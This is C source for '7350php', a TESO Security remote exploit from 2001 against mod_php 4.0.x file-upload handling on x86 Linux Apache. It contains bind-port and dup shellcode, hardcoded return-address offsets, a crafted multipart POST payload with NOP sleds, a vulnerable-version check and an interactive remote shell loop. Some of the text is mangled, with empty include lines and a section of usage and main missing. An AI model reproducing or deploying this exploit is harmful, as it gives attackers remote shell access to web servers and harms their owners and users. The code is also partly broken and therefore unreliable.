/* 7350php - x86/linux mod_php v4.0.1-v4.0.3p1 remote exploit * * TESO CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of TESO Security. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * TESO Security. This includes especially the Bugtraq mailing list, the * www.hack.co.za website and any public exploit archive. * * (C) COPYRIGHT TESO Security, 2001 * All Rights Reserved * ***************************************************************************** * bug found by lorian * exploit by lorian * thanks to scut for his network lib * * this exploits a one byte overflow in the mod_php file upload * handling routine. because apache is a very heavily used daemon * you maybe need several tries with the same offset for the exploit * to work. on my system 2 tries were always enough to get either * a dup- or a portshell. but because of the way apache works you have * unlimited tries anyway. * i have only tested on one system so far but i think the retaddr will * not differ soo much on different installations. because of the * unlimited tried one can maybe bruteforce the retloc. */ #define VERSION "0.0.1" #include #include #include #include #include #include #include #include #include #include #include #include #include "common.h" #include "network.h" int force = 0; /* force exploitation */ int checkonly = 0; /* check only */ int targetsys = 0; /* system */ int portshell = 0; /* create portshell */ int numtargets; /* number of offsets */ /* data for target 1 */ int retloc = 0x40284668; int retaddr = 0x08101010; void usage (char *progname); int xp_check (int fd, char *host); void xp (int fd, char *host, char *phpfile); void shell (int sock); /* x86/linux PIC portshell shellcode * by palmers/teso * port 0x5073 (might want to change it here) */ unsigned char x86_linux_portshell[] = "\x8b\xe5" "\x31\xc0\x99\x50\xfe\xc0\x89\xc3\x50\xfe\xc0\x50" "\x89\xe1\xb0\x66\xcd\x80\x52\x66\x68\x50\x73\x66" "\x52\x89\xe2\x6a\x10\x52\x50\x89\xe1\xfe\xc3\x89" "\xc2\xb0\x66\xcd\x80\x80\xc3\x02\xb0\x66\xcd\x80" "\x50\x52\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3" "\x31\xc9\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" "\xfe\xc1\xb0\x3f\xcd\x80\xb0\x0b\x99\x52\x68\x6e" "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" "\x89\xe1\xcd\x80"; /* x86/linux PIC dupshell shellcode * by lorian/teso */ unsigned char x86_linux_dupshell[] = "\x8b\xe5" "\x31\xc0\x31\xdb\xb3\x03\x31\xc9\xb0\x3f\xcd\x80" "\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" "\xb0\x0b\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f" "\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"; unsigned char * shellcode = x86_linux_dupshell; /* * Defined Offsets */ typedef struct { unsigned int retloc; unsigned int retaddr; char *system; } target; target targets[] = { { 0x40284668, 0x08101010, "Debian 2.2r3 / Apache 1.3.20 / PHP 4.0.3" }, { 0, 0, NULL } }; void usage (char *progname) { int i; fprintf (stderr, "usage: %s [options] \n\n", progname); fprintf (stderr, "Options:\n -c\t\tcheck exploitability only, do not exploit\n" " -f\t\tforce mode, override check results\n" " -l retloc\tset retlocation\n" " -a retaddr\tset return address\n" " -t target\tchoose target\n"); for (i=0; i "); fflush (stdout); shell (fd); } else { printf ("## there should be a portshell on port 20595 now\n"); printf ("## if not simply try again\n"); } exit (EXIT_SUCCESS); } void xp (int fd, char *host, char *phpfile) { int i, n; unsigned char *bchars="0123456789abcdef"; unsigned char boundary[43]; unsigned char buffer[1024*1024]; unsigned char *content = buffer; unsigned char namebuf[1024]; /* construct boundary tag */ boundary[40] = '\0'; memset (boundary, '-', 29); for (i=27; i<40; i++) boundary[i]=bchars[rand () & 15]; /* construct namebuffer */ memset (namebuf, 0xcc, 109+8*30); namebuf[109+8*30] = '\0'; namebuf[108+8*30] = ']'; namebuf[8] = '['; *(int *)&namebuf[8+240+0+1-4] = 0xfffffffc; *(int *)&namebuf[8+240+4+1-4] = 0xfffffffc; *(int *)&namebuf[8+240+8+1-4] = retloc-12; *(int *)&namebuf[8+240+12+1-4] = retaddr; /* construct content */ content += sprintf (content, "%s\r\n" "Content-Disposition: form-data; name=\"", boundary); memcpy (content, namebuf, 109+8*30); content += 109+8*30; content += sprintf (content, "\"; filename=\"a\"\r\n" "Content-Type: text/plain\r\n\r\n" "Hallo\r\n" "\r\n" "%s\r\n" "Content-Disposition: form-data; name=\"aaaa[a]\"; filename=\"a\"\r\n" "Content-Type: text/plain\r\n\r\n", boundary); /* add "jump nops" */ for (i=0; i<100000; i++) { *content++ = 0xeb; *content++ = 0x7e; } /* append "nops" */ for (i=0; i<150; i++) { *content++ = 0x43; } /* append shellcode */ content += sprintf (content, "%s", shellcode); /* close with boundary tag */ content += sprintf (content, "\r\n" "%s--\r\n", boundary); /* construct and send POST header */ net_write (fd, "POST /%s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" "Content-Length: %d\r\n" "Connection: Keep-Alive\r\n" "\r\n" ,phpfile, host, boundary+2, content-buffer); i = content-buffer; content = buffer; n = send (fd, content, i, 0); while ((n > 0)&&(i > 0)) { content += n; i -= n; n = send (fd, content, i, 0); } } int xp_check (int fd, char *host) { int n; unsigned char buf[1024]; char *version; int found = 0; printf ("## Checking for vulnerable PHP version...\n"); net_write (fd, "HEAD / HTTP/1.1\r\n" "Host: %s\r\n" "\r\n", host); n = 10; while ((n > 2)&&(!found)) { n = net_rlinet (fd, buf, sizeof (buf)-1, 0); if ((strncasecmp (buf, "Server:", 7) == 0) || (strncasecmp (buf, "X-Powered-By:", 13) == 0)) { version = strstr (buf, "PHP/4.0."); if (version) { if ((*(version+8) >= '1') && (*(version+8) <= '3')) found=1; } } } if (found) printf ("## check: PASSED\n"); else printf ("## check: FAILED\n"); return (found); } void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { perror ("read user"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l <= 0) { perror ("read remote"); exit (EXIT_FAILURE); } write (1, buf, l); } } }